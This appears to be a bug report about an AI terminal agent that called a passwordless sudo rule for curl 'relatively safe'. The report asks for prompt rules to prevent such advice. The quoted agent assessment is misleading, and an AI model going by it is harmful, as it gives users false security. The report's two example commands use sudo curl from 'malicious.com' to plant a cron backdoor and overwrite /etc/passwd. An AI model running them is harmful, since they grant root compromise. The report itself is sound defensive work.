hermes - 💡(How to fix) Fix [UX/Prompt] Misleading safety assessment when configuring sudoers NOPASSWD rules [1 participants]

Summary

The agent provides highly misleading safety assessments when configuring sudoers, explicitly labeling a highly dangerous privilege escalation vector as "relatively safe" (比较安全了).

Context

I asked the agent to configure a cronjob that requires sudo curl ... -o /etc/mihomo/config.yaml. When discussing how to set up NOPASSWD in sudoers, the agent suggested restricting it to /usr/bin/curl.

When I asked if we could restrict it to a specific command, the agent provided two options. Regarding keeping the current configuration (allowing unrestricted sudo curl), the agent stated:

"方案二：保持当前配置 当前已经只对 /usr/bin/curl 免密，其他命令仍需密码。这已经比较安全了。"

Why this is a problem

Allowing NOPASSWD: /usr/bin/curl is functionally equivalent to giving away root access. Anyone with access to this user account can run:

• sudo curl http://malicious.com/backdoor -o /etc/cron.d/backdoor
• sudo curl http://malicious.com/payload -o /etc/passwd

Labeling this as "relatively safe" creates a false sense of security for users who might not be Linux security experts.

Note on Security Policy

I have read the SECURITY.md. I understand that the agent having unrestricted shell access is by design, and the operator ultimately executed the commands. Therefore, I am submitting this as a Prompt Engineering / UX issue, not a security vulnerability. The approval gate worked as intended.

Suggested Improvement

System prompts for terminal agents should include hard-coded safety rules regarding privilege escalation. For example:

• Rule: When configuring sudoers, NEVER suggest NOPASSWD for commands that can write to arbitrary paths (e.g., curl -o, wget, tee, cp).
• Rule: NEVER describe allowing specific write-capable commands without argument restrictions as "safe". Always recommend wrapping them in a script with hardcoded arguments.

This would significantly improve the operational safety of the agent without restricting its core capabilities.

Dialogue_history.txt